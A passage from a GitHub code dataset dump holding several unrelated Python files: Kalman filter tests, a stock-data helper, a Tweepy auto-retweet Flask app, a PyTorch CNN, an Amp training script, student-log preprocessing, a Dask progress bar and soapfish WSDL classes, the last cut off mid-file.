}]\n","repo_name":"zgchizi/oppia-uc","sub_path":"extensions/interactions/GraphInput/GraphInput.py","file_name":"GraphInput.py","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15532948945","text":"import numpy as np\nimport numpy.matlib\nimport unittest\nimport timeit\n\nfrom common.kalman.ekf import EKF, SimpleSensor, FastEKF1D\n\nclass TestEKF(EKF):\n def __init__(self, var_init, Q):\n super(TestEKF, self).__init__(False)\n self.identity = numpy.matlib.identity(2)\n self.state = numpy.matlib.zeros((2, 1))\n self.covar = self.identity * var_init\n\n self.process_noise = numpy.matlib.diag(Q)\n\n def calc_transfer_fun(self, dt):\n tf = numpy.matlib.identity(2)\n tf[0, 1] = dt\n return tf, tf\n\n\nclass EKFTest(unittest.TestCase):\n def test_update_scalar(self):\n ekf = TestEKF(1e3, [0.1, 1])\n dt = 1. / 100\n\n sensor = SimpleSensor(0, 1, 2)\n readings = map(sensor.read, np.arange(100, 300))\n\n for reading in readings:\n ekf.update_scalar(reading)\n ekf.predict(dt)\n\n np.testing.assert_allclose(ekf.state, [[300], [100]], 1e-4)\n np.testing.assert_allclose(\n ekf.covar,\n np.asarray([[0.0563, 0.10278], [0.10278, 0.55779]]),\n atol=1e-4)\n\n def test_unbiased(self):\n ekf = TestEKF(1e3, [0., 0.])\n dt = np.float64(1. / 100)\n\n sensor = SimpleSensor(0, 1, 2)\n readings = map(sensor.read, np.arange(1000))\n\n for reading in readings:\n ekf.update_scalar(reading)\n ekf.predict(dt)\n\n np.testing.assert_allclose(ekf.state, [[1000.], [100.]], 1e-4)\n\n\nclass FastEKF1DTest(unittest.TestCase):\n def test_correctness(self):\n dt = 1. / 100\n reading = SimpleSensor(0, 1, 2).read(100)\n\n ekf = TestEKF(1e3, [0.1, 1])\n fast_ekf = FastEKF1D(dt, 1e3, [0.1, 1])\n\n ekf.update_scalar(reading)\n fast_ekf.update_scalar(reading)\n self.assertAlmostEqual(ekf.state[0] , fast_ekf.state[0])\n self.assertAlmostEqual(ekf.state[1] , fast_ekf.state[1])\n self.assertAlmostEqual(ekf.covar[0, 0], fast_ekf.covar[0])\n self.assertAlmostEqual(ekf.covar[0, 1], fast_ekf.covar[2])\n self.assertAlmostEqual(ekf.covar[1, 1], fast_ekf.covar[1])\n\n ekf.predict(dt)\n fast_ekf.predict(dt)\n self.assertAlmostEqual(ekf.state[0] , fast_ekf.state[0])\n self.assertAlmostEqual(ekf.state[1] , fast_ekf.state[1])\n self.assertAlmostEqual(ekf.covar[0, 0], fast_ekf.covar[0])\n self.assertAlmostEqual(ekf.covar[0, 1], fast_ekf.covar[2])\n self.assertAlmostEqual(ekf.covar[1, 1], fast_ekf.covar[1])\n\n def test_speed(self):\n setup = \"\"\"\nimport numpy as np\nfrom common.kalman.tests.test_ekf import TestEKF\nfrom common.kalman.ekf import SimpleSensor, FastEKF1D\n\ndt = 1. / 100\nreading = SimpleSensor(0, 1, 2).read(100)\n\nvar_init, Q = 1e3, [0.1, 1]\nekf = TestEKF(var_init, Q)\nfast_ekf = FastEKF1D(dt, var_init, Q)\n \"\"\"\n\n timeit.timeit(\"\"\"\nekf.update_scalar(reading)\nekf.predict(dt)\n \"\"\", setup=setup, number=1000)\n\n ekf_speed = timeit.timeit(\"\"\"\nekf.update_scalar(reading)\nekf.predict(dt)\n \"\"\", setup=setup, number=20000)\n\n timeit.timeit(\"\"\"\nfast_ekf.update_scalar(reading)\nfast_ekf.predict(dt)\n \"\"\", setup=setup, number=1000)\n\n fast_ekf_speed = timeit.timeit(\"\"\"\nfast_ekf.update_scalar(reading)\nfast_ekf.predict(dt)\n \"\"\", setup=setup, number=20000)\n\n assert fast_ekf_speed < ekf_speed / 4\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"amansinha/testpilot","sub_path":"testpilot/testpilot0.5/common/kalman/tests/test_ekf.py","file_name":"test_ekf.py","file_ext":"py","file_size_in_byte":3146,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"48"} +{"seq_id":"32723964222","text":"from pandas_datareader import data as pdr\n\ndef getData(stocks, start, end, col='Close'):\n '''\n :param stocks:\n :param start:\n :param end:\n :param col:\n :return:\n '''\n stockdata = pdr.get_data_yahoo(stocks, start=start, end=end)\n stockdata = stockdata[col]\n return stockdata\n\ndef mean_std(stockdata):\n # To Do: make sure that it is possible for multidim data?\n '''\n :param stockdata:\n :return:\n '''\n\n try:\n returns = stockdata.pct_change\n except:\n print('Input must be pandas object!')\n mean_returns = returns.mean()\n covMatrix = returns.cov()\n\n return mean_returns, covMatrix\n\n\n\n\n","repo_name":"paulffm/QuantFinance","sub_path":"Data/DataEditor.py","file_name":"DataEditor.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32779951046","text":"from flask import Flask, flash, request, redirect, render_template\nimport tweepy\nimport time\n\nglobal n\nglobal m\n\nm = 0\nn = 0\n\napp = Flask(__name__)\n\n\ndef retlike():\n global n\n global m\n\n\n api = tweepy.API(auth, wait_on_rate_limit=True,\n wait_on_rate_limit_notify=True)\n\n user = api.me()\n\n search = '100DaysOfCode'\n nrTweets = 1\n for tweet in tweepy.Cursor(api.search, search).items(nrTweets):\n try:\n\n tweet.favorite()\n tweet.retweet()\n n = n+1\n print('Tweet Liked', n)\n time.sleep(60)\n except tweepy.TweepError as e:\n print(e.reason)\n m = m+1\n\n except StopIteration:\n break\n\n\n@app.route(\"/\")\ndef hometweet():\n return render_template(\"dashboard-notactive.html\", retweets=n, fails=m)\n\n\n@app.route(\"/activate\")\ndef acti():\n t = render_template(\"dashboard-active.html\", retweets=n, fails=m)\n for i in range(1000):\n retlike()\n return render_template(\"dashboard-active.html\", retweets=n, fails=m)\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"iaryankashyap/TweetX-bot","sub_path":"webapp/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"22768532316","text":"#CNN+fc模型,三层卷积,四层全连接\n\nfrom torch import nn\n\n#全连接神经网络\nclass FC_Network(nn.Module):\n def __init__(self,in_channels,hidden1_channels,hidden2_channels,num_class=10):\n super(FC_Network,self).__init__()\n self.layer1=nn.Sequential(nn.Linear(in_channels,hidden1_channels),nn.BatchNorm1d(hidden1_channels),nn.Dropout(0.5),nn.ReLU(True))\n self.layer2 = nn.Sequential(nn.Linear(hidden1_channels,hidden2_channels), nn.BatchNorm1d(hidden2_channels),nn.Dropout(0.5),nn.ReLU(True))\n self.layer3=nn.Sequential(nn.Linear(hidden2_channels,num_class))\n def forward(self, x):\n x=x.view(x.size(0),-1)\n out=self.layer1(x)\n out=self.layer2(out)\n out=self.layer3(out)\n return out\n\n#定义网络结构\nclass CNN_with_fc(nn.Module):\n def __init__(self):\n super(CNN_with_fc,self).__init__()\n #第一卷积层\n layer1=nn.Sequential()\n layer1.add_module('conv1', nn.Conv2d(1, 16, 3, 1, padding=1)) # 输入是32*1*28*28,out:32*16*28*28\n layer1.add_module('bn1', nn.BatchNorm2d(16))\n layer1.add_module('relu1', nn.ReLU(True)) # True表示原地修改,不维护影子变量\n #layer1.add_module('pool1', nn.MaxPool2d(2, 2)) # out:32,16,14,14\n self.layer1 = layer1\n\n #第二卷积层\n layer2=nn.Sequential()\n layer2.add_module('conv2',nn.Conv2d(16,32,3,1,padding=1))#输出是32*32*28*28\n layer2.add_module('bn2',nn.BatchNorm2d(32))\n layer2.add_module('relu2',nn.ReLU(True))\n layer2.add_module('pool2',nn.MaxPool2d(2,2))#输出32*32*14*14\n self.layer2=layer2\n\n #第三卷积层\n layer3=nn.Sequential()\n layer3.add_module('conv3',nn.Conv2d(32,64,3,1,padding=1))#输出是32*64*14*14\n layer3.add_module('bn3',nn.BatchNorm2d(64))\n layer3.add_module('relu3',nn.ReLU(True))\n layer3.add_module('pool3', nn.MaxPool2d(2, 2))#输出是32*64*7*7\n self.layer3=layer3\n self.fc=FC_Network(64*7*7,512,128,10)\n\n def forward(self, x):\n x=self.layer1(x)#第一层卷积输出\n x=self.layer2(x)#第二卷积层输出\n x=self.layer3(x)# 第三卷积层的输出\n out=self.fc.forward(x)\n return out","repo_name":"liujisihan/CNN_Pytorch","sub_path":"CNN+FC/CNN_with_fc.py","file_name":"CNN_with_fc.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4899707044","text":"import argparse\nimport os\nimport ase.io\n\nfrom amp import Amp\nfrom amp.descriptor.gaussian import Gaussian\nfrom amp.model.neuralnetwork import NeuralNetwork\nfrom amp.model import LossFunction\nfrom amp.utilities import Annealer\nimport amp_des_gauss as my_des\n\ndef run_training(trajfiles, Lforce, nfile):\n '''\n default energy_rmse 0.001\n energy_coeff 1.0\n force_rmse 0.01\n force_coeff 0.04\n '''\n total_images=[]\n if nfile:\n for i in range(nfile):\n trajf = 'emtmd' + f'{i:02d}' + '.traj'\n images = ase.io.Trajectory(trajf)\n total_images.extend(images[1:])\n else:\n for trajf in trajfiles:\n images = ase.io.Trajectory(trajf)\n total_images.extend(images)\n print(\"total number of images to be trained: {len(total_images)}\")\n ### change gs: Gaussian descriptor\n des_obj = my_des.GS_param( pmax=80, pnum=6 )\n gs = des_obj.make_Gs(images[0])\n \n calc = Amp(descriptor=Gaussian(Gs=gs), model=NeuralNetwork(hiddenlayers=(10, 10, 10)), cores=8)\n Annealer(calc=calc, images=images, Tmax=20, Tmin=1, steps=4000)\n convergence={}\n convergence['energy_rmse'] = 0.001 \n if Lforce:\n convergence['force_rmse'] = 0.02 # between 0.01 ~ 0.02 ~ 0.05 ~ 0.1\n calc.model.lossfunction = LossFunction(convergence=convergence, force_coefficient=0.05)\n else:\n calc.model.lossfunction = LossFunction(convergence=convergence)\n calc.train(images=total_images)\n\ndef main():\n parser = argparse.ArgumentParser(description='Run training')\n parser.add_argument('-inf', '--infile', nargs='*', help='input trajectory file which can be read by ase')\n parser.add_argument('-f', '--force', action='store_true', help='add force training')\n parser.add_argument('-nf', '--nfile', type=int, help='number of training files')\n args = parser.parse_args()\n\n run_training(args.infile, args.force, args.nfile)\n\nif __name__ == '__main__':\n main()\n","repo_name":"toddl216/MD","sub_path":"3-train-eta-multi.py","file_name":"3-train-eta-multi.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71221729745","text":"import glob\r\nimport os\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom pandas import Series\r\nfrom sklearn.base import BaseEstimator, TransformerMixin\r\nimport warnings\r\nfrom functools import reduce\r\nfrom logging import info\r\n\r\n\r\nclass Cols:\r\n stud_id_col = ['ITEST_id']\r\n label_col = ['isSTEM']\r\n cat_cols = ['skill', 'problemType', 'SY ASSISTments Usage']\r\n id_cols = ['actionId', 'problemId', 'assignmentId', 'assistmentId']\r\n per_action_cols = ['skill', 'problemType', 'startTime', 'endTime', 'timeTaken', 'correct', 'original', 'hint',\r\n 'hintCount',\r\n 'hintTotal', 'scaffold', 'bottomHint', 'attemptCount', 'frIsHelpRequest',\r\n 'frPast5HelpRequest',\r\n 'frPast8HelpRequest',\r\n 'stlHintUsed',\r\n 'past8BottomOut',\r\n 'totalFrPercentPastWrong',\r\n 'totalFrPastWrongCount',\r\n 'frPast5WrongCount',\r\n 'frPast8WrongCount',\r\n 'totalFrTimeOnSkill',\r\n 'timeSinceSkill',\r\n 'frWorkingInSchool',\r\n 'totalFrAttempted',\r\n 'totalFrSkillOpportunities',\r\n 'responseIsFillIn',\r\n 'responseIsChosen',\r\n 'endsWithScaffolding',\r\n 'endsWithAutoScaffolding',\r\n 'frTimeTakenOnScaffolding',\r\n 'frTotalSkillOpportunitiesScaffolding',\r\n 'totalFrSkillOpportunitiesByScaffolding',\r\n 'frIsHelpRequestScaffolding',\r\n 'timeGreater5Secprev2wrong',\r\n 'sumRight',\r\n 'helpAccessUnder2Sec',\r\n 'timeGreater10SecAndNextActionRight',\r\n 'consecutiveErrorsInRow',\r\n 'sumTime3SDWhen3RowRight',\r\n 'sumTimePerSkill',\r\n 'totalTimeByPercentCorrectForskill',\r\n 'prev5count',\r\n 'timeOver80',\r\n 'manywrong',\r\n 'RES_BORED',\r\n 'RES_CONCENTRATING',\r\n 'RES_CONFUSED',\r\n 'RES_FRUSTRATED',\r\n 'RES_OFFTASK',\r\n 'RES_GAMING'\r\n ] + id_cols\r\n per_stud_cols = ['MCAS', 'SY ASSISTments Usage', 'NumActions', 'SchoolId', 'AveKnow',\r\n 'AveCarelessness'] + label_col\r\n conf_cols = ['confidence(BORED)', 'confidence(CONCENTRATING)', 'confidence(CONFUSED)', 'confidence(FRUSTRATED)',\r\n 'confidence(OFF TASK)', 'confidence(GAMING)']\r\n ave_res_cols = ['AveCorrect', 'AveResBored', 'AveResEngcon', 'AveResConf', 'AveResFrust', 'AveResOfftask',\r\n 'AveResGaming']\r\n excluded_cols = ['prev5count', 'Prev5count', 'timeSinceSkill', 'sumTime3SDWhen3RowRight', 'Ln-1',\r\n 'Ln'] + ave_res_cols + conf_cols\r\n\r\n per_stud_cols_cat = list(set(per_stud_cols).intersection(set(cat_cols)))\r\n per_action_cols_cat = list(set(per_action_cols).intersection(set(cat_cols)))\r\n\r\n paper_suggested_cols = [\"attemptCount\", \"bottomHint\", \"consecutiveErrorsInRow\", \"correct\",\r\n \"endsWithAutoScaffolding\",\r\n \"endsWithScaffolding\", \"frIsHelpRequest\", \"frIsHelpRequestScaffolding\",\r\n \"frPast5HelpRequest\",\r\n \"frPast5WrongCount\", \"frPast8HelpRequest\", \"frPast8WrongCount\", \"frTimeTakenOnScaffolding\",\r\n \"frTotalSkillOpportunitiesScaffolding\", \"frWorkingInSchool\", \"helpAccessUnder10Sec\",\r\n \"helpAccessUnder1Sec\", \"helpAccessUnder2Sec\", \"helpAccessUnder5Sec\",\r\n \"helpOnFirstAttemptAndTimeLess2Sec\", \"hint\", \"hintCount\", \"hintTotal\", \"original\",\r\n \"past8BottomOut\",\r\n \"percentCorrectPerSkill\", \"prevHintThisWrong\", \"responseIsChosen\", \"responseIsFillIn\",\r\n \"scaffold\",\r\n \"stlHintUsed\", \"sumHelp\", \"sumofRightPerSkill\", \"sumRight\",\r\n \"sumSameSkillWrongonFirstAttempt\",\r\n \"sumTime3SDWhen3RowRight\", \"sumTime5SDWhen5RowRight\", \"sumTimePerSkill\",\r\n \"timeGreater10AndPrevActionWrong\", \"timeGreater10SecAndNextActionRight\",\r\n \"timeGreater10SecPrevActionHelpOrBug\", \"timeGreater5Secprev2wrong\", \"timeSinceSkill\",\r\n \"timeTaken\",\r\n \"totalFrAttempted\", \"totalFrPastWrongCount\", \"totalFrPercentPastWrong\",\r\n \"totalFrSkillOpportunities\",\r\n \"totalFrSkillOpportunitiesByScaffolding\", \"totalFrTimeOnSkill\",\r\n \"totalTimeByPercentCorrectForskill\"]\r\n\r\n\r\nclass Preprocessing:\r\n data_path = r\"Dataset\"\r\n\r\n data_file_name = \"student_log_*.csv\"\r\n label_file_name = r'training_label.csv'\r\n test_file_name = r'validation_test_label.csv'\r\n\r\n col_dtype = {'totalFrSkillOpportunitiesByScaffolding': np.float32, 'totalFrTimeOnSkill': np.float32}\r\n\r\n raw_dataset = None\r\n\r\n per_stud_dataset = None\r\n per_action_dataset = None\r\n per_stud_dataset_cat = None\r\n per_action_dataset_cat = None\r\n per_stud_dataset_enc = None\r\n per_action_dataset_enc = None\r\n per_action_dataset_cat_summ = None\r\n per_action_dataset_summ = None\r\n\r\n label_dateset = None\r\n test_dataset = None\r\n\r\n def load_data(self, time_gap=None,\r\n encode=False,\r\n include_cat_data=False,\r\n return_val_tst_set=False):\r\n\r\n data_files = glob.glob(os.path.join(self.data_path, self.data_file_name))\r\n label_file = glob.glob(os.path.join(self.data_path, self.label_file_name))[0]\r\n test_file = glob.glob(os.path.join(self.data_path, self.test_file_name))[0]\r\n\r\n self.raw_dataset = pd.concat((pd.read_csv(f, dtype=self.col_dtype) for f in data_files))\r\n\r\n # 'AveCorrect' column is already in dataset file and it can be dropped from label/test file\r\n self.label_dataset = pd.read_csv(label_file).drop_duplicates()\r\n if any([\"AveCorrect\" in col for col in self.label_dataset.columns]):\r\n self.label_dataset = self.label_dataset.drop(\"AveCorrect\", axis=1)\r\n\r\n self.test_dataset = pd.read_csv(test_file).drop_duplicates()\r\n if any([\"AveCorrect\" in col for col in self.test_dataset.columns]):\r\n self.test_dataset = self.test_dataset.drop(\"AveCorrect\", axis=1)\r\n\r\n if return_val_tst_set:\r\n self.test_dataset['isSTEM'] = -1\r\n x = pd.merge(self.raw_dataset, self.test_dataset, on=Cols.stud_id_col).drop(Cols.excluded_cols, axis=1)\r\n else:\r\n x = pd.merge(self.raw_dataset, self.label_dataset, on=Cols.stud_id_col).drop(Cols.excluded_cols, axis=1)\r\n per_stud_dataset = x[\r\n list(set(Cols.per_stud_cols).difference(set(Cols.excluded_cols))) + Cols.stud_id_col].drop_duplicates()\r\n per_action_dataset = x[list(set(Cols.per_action_cols).difference(set(Cols.excluded_cols))) + Cols.stud_id_col]\r\n\r\n self.per_stud_dataset_cat = per_stud_dataset[Cols.per_stud_cols_cat + Cols.stud_id_col]\r\n self.per_action_dataset_cat = per_action_dataset[Cols.per_action_cols_cat + Cols.stud_id_col + ['actionId']]\r\n\r\n self.per_stud_dataset = per_stud_dataset.drop(Cols.per_stud_cols_cat, axis=1)\r\n self.per_action_dataset = per_action_dataset.drop(Cols.per_action_cols_cat, axis=1)\r\n\r\n self.per_stud_dataset_cat.name = 'per_stud_dataset_cat'\r\n self.per_action_dataset_cat.name = 'per_action_dataset_cat'\r\n self.per_stud_dataset.name = 'per_stud_dataset'\r\n self.per_action_dataset.name = 'per_action_dataset'\r\n\r\n if encode:\r\n self.per_action_dataset_enc = self.__encode(self.per_action_dataset_cat, Cols.per_action_cols_cat)\r\n self.per_stud_dataset_enc = self.__encode(self.per_stud_dataset_cat, Cols.per_stud_cols_cat)\r\n self.per_action_dataset_enc.name = 'per_action_dataset_enc'\r\n self.per_stud_dataset_enc.name = 'per_stud_dataset_enc'\r\n\r\n # dropping per_student columns if there are any of those in current columns of dataset\r\n # and summarizing rest of the columns follow joining the per_student columns\r\n if time_gap:\r\n\r\n if self.per_action_dataset_enc is not None:\r\n self.per_action_dataset_cat_summ = self.__load_summarized(self.per_action_dataset_enc, time_gap)\r\n self.per_action_dataset_cat_summ.name = 'per_action_dataset_cat_summ'\r\n\r\n # removing id cols from dataset\r\n per_action_dataset_noidcols = self.per_action_dataset.drop(Cols.id_cols, axis=1)\r\n self.per_action_dataset_summ = self.__load_summarized(per_action_dataset_noidcols, time_gap)\r\n self.per_action_dataset_summ.name = 'per_action_dataset_summ'\r\n\r\n prepared_dataset = None\r\n merged_candidate = None\r\n\r\n # building all combination of parameter flags and merging required data frames\r\n if include_cat_data:\r\n if encode:\r\n if time_gap:\r\n merged_candidate = [self.per_action_dataset_cat_summ, self.per_action_dataset_summ,\r\n self.per_stud_dataset_enc, self.per_stud_dataset]\r\n print('prepared dataset contains: %s + %s + %s + %s' % (\r\n 'per_action_dataset_cat_summ', 'per_action_dataset_summ', 'per_stud_dataset_enc',\r\n 'per_stud_dataset'))\r\n else:\r\n merged_candidate = [self.per_action_dataset, self.per_action_dataset_enc]\r\n print('prepared dataset contains: %s + %s' % ('per_action_dataset', 'per_action_dataset_enc'))\r\n else:\r\n if time_gap:\r\n merged_candidate = [self.per_action_dataset_summ, self.per_stud_dataset_cat,\r\n self.per_stud_dataset]\r\n print('prepared dataset contains: %s + %s + %s' % (\r\n 'per_action_dataset_summ', 'per_stud_dataset_cat', 'per_stud_dataset'))\r\n else:\r\n raise NotImplementedError\r\n else:\r\n if encode:\r\n raise AssertionError\r\n else:\r\n if time_gap:\r\n merged_candidate = [self.per_stud_dataset, self.per_action_dataset_summ]\r\n print(\"prepared dataset contains: %s + %s\" % ('per_stud_dataset', 'per_action_dataset_summ'))\r\n else:\r\n prepared_dataset = self.per_action_dataset\r\n print('prepared dataset contains: %s' % 'per_action_dataset')\r\n # TODO write with dataframe.name\r\n if merged_candidate:\r\n prepared_dataset = reduce(lambda left, right: pd.merge(left, right, on=Cols.stud_id_col), merged_candidate)\r\n\r\n # TODO do clean up messy data...\r\n # x[x < 0] = np.nan\r\n # x.fillna(0, inplace=True)\r\n\r\n try:\r\n index = [prepared_dataset.ITEST_id, prepared_dataset.seq_ix]\r\n prepared_dataset = prepared_dataset.drop([\"ITEST_id\", \"seq_ix\"], axis=1)\r\n except KeyError:\r\n print(\"Dataset contains only one index (ITEST_id)!\")\r\n index = prepared_dataset.ITEST_id\r\n prepared_dataset = prepared_dataset.drop(\"ITEST_id\", axis=1)\r\n\r\n prepared_dataset.index = index\r\n\r\n try:\r\n y = prepared_dataset[Cols.label_col]\r\n y.index = prepared_dataset.index.get_level_values(\"ITEST_id\")\r\n prepared_dataset = prepared_dataset.drop(Cols.label_col, axis=1)\r\n except KeyError:\r\n y = None\r\n print(\"Warning! There is no label column in this setting!\")\r\n\r\n return prepared_dataset, y\r\n\r\n\r\n def __encode(self, x, cat_cols):\r\n enc_x = pd.get_dummies(x, columns=cat_cols)\r\n return enc_x\r\n\r\n def __summarize_seq(self, stud_seq, time_gap):\r\n \"\"\"\r\n Summarize or builds sessions on student actions by grouping contagious actions with time distance less than time_gap\r\n :param stud_seq: a data-frame containing a series of actions for a student sorted by the 'startTime' ascending\r\n :param time_gap: a time distant threshold in seconds between each session\r\n :return: a summarized data-frame with rows as sessions where actions of session have been summarized by row Max, Min, Mean, Sum functions\r\n \"\"\"\r\n\r\n current_action_endtime = Series(stud_seq['endTime'])\r\n next_action_starttime = Series(stud_seq['startTime']).shift(-1)\r\n\r\n diff = (next_action_starttime - current_action_endtime).dropna()\r\n\r\n session_end_ix = np.where(diff > time_gap)[0]\r\n session_start_end_ix = np.insert(session_end_ix, 0, 0)\r\n session_start_end_ix = np.insert(session_start_end_ix, len(session_start_end_ix), len(stud_seq) - 1)\r\n session_lengths = np.diff(session_start_end_ix)\r\n session_lengths[0] = session_lengths[\r\n 0] + 1 # correct the length of first session by adding 1 because of zero index\r\n session_index = np.repeat(np.array(range(len(session_start_end_ix) - 1)), session_lengths)\r\n\r\n sorted_seq_with_sess_ix = stud_seq.assign(seq_ix=session_index)\r\n min_seq = sorted_seq_with_sess_ix.groupby('seq_ix').min().add_prefix('min_')\r\n max_seq = sorted_seq_with_sess_ix.groupby('seq_ix').max().add_prefix('max_')\r\n mean_seq = sorted_seq_with_sess_ix.groupby('seq_ix').mean().add_prefix('mean_')\r\n sum_seq = sorted_seq_with_sess_ix.groupby('seq_ix').sum().add_prefix('sum_')\r\n\r\n summarized_features = pd.concat([min_seq, max_seq, mean_seq, sum_seq], axis=1)\r\n\r\n return summarized_features\r\n\r\n def __load_summarized(self, x, time_gap):\r\n \"\"\"\r\n Divide the student actions into sub-sequences (sessions) and summarize them using Min, Max, Mean, Sum\r\n :param x: a data-frame consisting of sequence of all actions for all students\r\n :param time_gap: the time gap threshold in seconds for separating consecutive actions of the student\r\n :return: # a summarized dataframe with a new set of summarized features including a seq_ix column as the session id\r\n \"\"\"\r\n # assumes that input contains \"startTime\" and \"ITEST_id\" columns\r\n assert (all([col in [col for col in x.columns] for col in [\"startTime\", \"ITEST_id\"]]))\r\n\r\n temp_x = []\r\n\r\n for stud_id, stud_seq in x.groupby('ITEST_id'):\r\n stud_seq = stud_seq.drop(['ITEST_id'], axis=1)\r\n sorted_stud_seq = stud_seq.sort_values('startTime')\r\n summarized_stud_seq = self.__summarize_seq(sorted_stud_seq, time_gap)\r\n summarized_stud_seq['seq_ix'] = summarized_stud_seq.index\r\n summarized_stud_seq['ITEST_id'] = stud_id\r\n temp_x.append(summarized_stud_seq)\r\n\r\n temp_x = pd.concat(temp_x)\r\n\r\n return temp_x\r\n\r\n def save_datasets(self, datasets):\r\n for dataset in datasets:\r\n if dataset is not None:\r\n dataset.to_csv(\"Preprocessed Dataset\\%s.csv\" % dataset.name, index=False)\r\n","repo_name":"fnozarian/ASSISTments-Data-Mining-Competition","sub_path":"Preprocessing.py","file_name":"Preprocessing.py","file_ext":"py","file_size_in_byte":15615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72467093906","text":"\"\"\"TQDM progress bar for distributed Dask futures.\n\nBased on https://github.com/tqdm/tqdm/issues/278#issuecomment-507006253.\n\"\"\"\n\nfrom tqdm.auto import tqdm as tqdm_auto\nfrom distributed.utils import LoopRunner\nfrom distributed.client import futures_of\nfrom distributed.diagnostics.progressbar import ProgressBar\n\n\nclass TqdmNotebookProgress(ProgressBar):\n def __init__(\n self,\n keys,\n scheduler=None,\n interval=\"100ms\",\n loop=None,\n complete=True,\n start=True,\n tqdm_class=tqdm_auto,\n **tqdm_kwargs\n ):\n self._loop_runner = loop_runner = LoopRunner(loop=loop)\n super().__init__(keys, scheduler, interval, complete)\n self.tqdm = tqdm_class(keys, **tqdm_kwargs)\n\n if start:\n loop_runner.run_sync(self.listen)\n\n def _draw_bar(self, remaining, all, **kwargs):\n update_ct = (all - remaining) - self.tqdm.n\n self.tqdm.update(update_ct)\n\n def _draw_stop(self, **kwargs):\n self.tqdm.close()\n\n\ndef tqdm_dask(futures, **kwargs):\n futures = futures_of(futures)\n if not isinstance(futures, (set, list)):\n futures = [futures]\n return TqdmNotebookProgress(futures, **kwargs)\n","repo_name":"georg-wolflein/shiprec","sub_path":"shiprec/progress.py","file_name":"progress.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32549786576","text":"from . import namespaces as ns, xsd, xsdspec\n\n# FIXME: With the current implementation of schema we cannot share classes\n# between different schema so we duplicate classes to soapfish.wsdl12\n\n# Notes:\n# ------\n#\n# 1. Only optional for under \n# 2. Only required for under \n\n\nclass SOAP_Binding(xsd.ComplexType):\n ELEMENT_FORM_DEFAULT = xsd.ElementFormDefault.QUALIFIED\n style = xsd.Attribute(xsd.String(enumeration=['document', 'rpc']), default='document', use=xsd.Use.OPTIONAL)\n transport = xsd.Attribute(xsd.AnyURI)\n\n\nclass SOAP_Operation(xsd.ComplexType):\n ELEMENT_FORM_DEFAULT = xsd.ElementFormDefault.QUALIFIED\n soapAction = xsd.Attribute(xsd.AnyURI, use=xsd.Use.OPTIONAL)\n style = xsd.Attribute(xsd.String(enumeration=['document', 'rpc']), use=xsd.Use.OPTIONAL)\n\n\nclass SOAP_HeaderFault(xsd.ComplexType):\n message = xsd.Attribute(xsd.QName)\n part = xsd.Attribute(xsd.NMTOKEN)\n use = xsd.Attribute(xsd.String(enumeration=['encoded', 'literal']))\n namespace = xsd.Attribute(xsd.AnyURI, use=xsd.Use.OPTIONAL)\n encodingStyle = xsd.Attribute(xsd.AnyURI, use=xsd.Use.OPTIONAL)\n\n\nclass SOAP_Header(xsd.ComplexType):\n message = xsd.Attribute(xsd.QName)\n part = xsd.Attribute(xsd.NMTOKEN)\n use = xsd.Attribute(xsd.String(enumeration=['encoded', 'literal']))\n namespace = xsd.Attribute(xsd.AnyURI, use=xsd.Use.OPTIONAL)\n encodingStyle = xsd.Attribute(xsd.AnyURI, use=xsd.Use.OPTIONAL)\n headerfaults = xsd.ListElement(SOAP_HeaderFault, 'headerfault', minOccurs=0, namespace=ns.wsdl_soap)\n\n\nclass SOAP_Body(xsd.ComplexType):\n ELEMENT_FORM_DEFAULT = xsd.ElementFormDefault.QUALIFIED\n parts = xsd.Attribute(xsd.NMTOKENS, use=xsd.Use.OPTIONAL)\n use = xsd.Attribute(xsd.String(enumeration=['encoded', 'literal']))\n namespace = xsd.Attribute(xsd.AnyURI, use=xsd.Use.OPTIONAL)\n encodingStyle = xsd.Attribute(xsd.AnyURI, use=xsd.Use.OPTIONAL)\n\n\nclass SOAP_Fault(xsd.ComplexType):\n ELEMENT_FORM_DEFAULT = xsd.ElementFormDefault.QUALIFIED\n name = xsd.Attribute(xsd.NMTOKEN)\n use = xsd.Attribute(xsd.String(enumeration=['encoded', 'literal']))\n namespace = xsd.Attribute(xsd.AnyURI, use=xsd.Use.OPTIONAL)\n encodingStyle = xsd.Attribute(xsd.AnyURI, use=xsd.Use.OPTIONAL)\n\n\nclass SOAP_Address(xsd.ComplexType):\n ELEMENT_FORM_DEFAULT = xsd.ElementFormDefault.QUALIFIED\n location = xsd.Attribute(xsd.AnyURI)\n\n\n# WSDL 1.1 SOAP 1.1\n\n\nclass Types(xsd.ComplexType):\n schemas = xsd.ListElement(xsdspec.Schema, 'schema', namespace=xsdspec.XSD_NAMESPACE)\n documentation = xsd.Element(xsd.String, minOccurs=0)\n\n\nclass Part(xsd.ComplexType):\n name = xsd.Attribute(xsd.String)\n element = xsd.Attribute(xsd.String, use=xsd.Use.OPTIONAL)\n type = xsd.Attribute(xsd.String, use=xsd.Use.OPTIONAL)\n\n\nclass Message(xsd.ComplexType):\n name = xsd.Attribute(xsd.String)\n parts = xsd.ListElement(Part, tagname='part', minOccurs=0)\n documentation = xsd.Element(xsd.String, minOccurs=0)\n\n # FIXME: Remove this artificial restriction on the number of parts?!\n @property\n def part(self):\n if len(self.parts) != 1:\n raise ValueError('expected exactly one part', self.name, self.parts)\n return self.parts[0]\n\n\nclass Import(xsd.ComplexType):\n namespace = 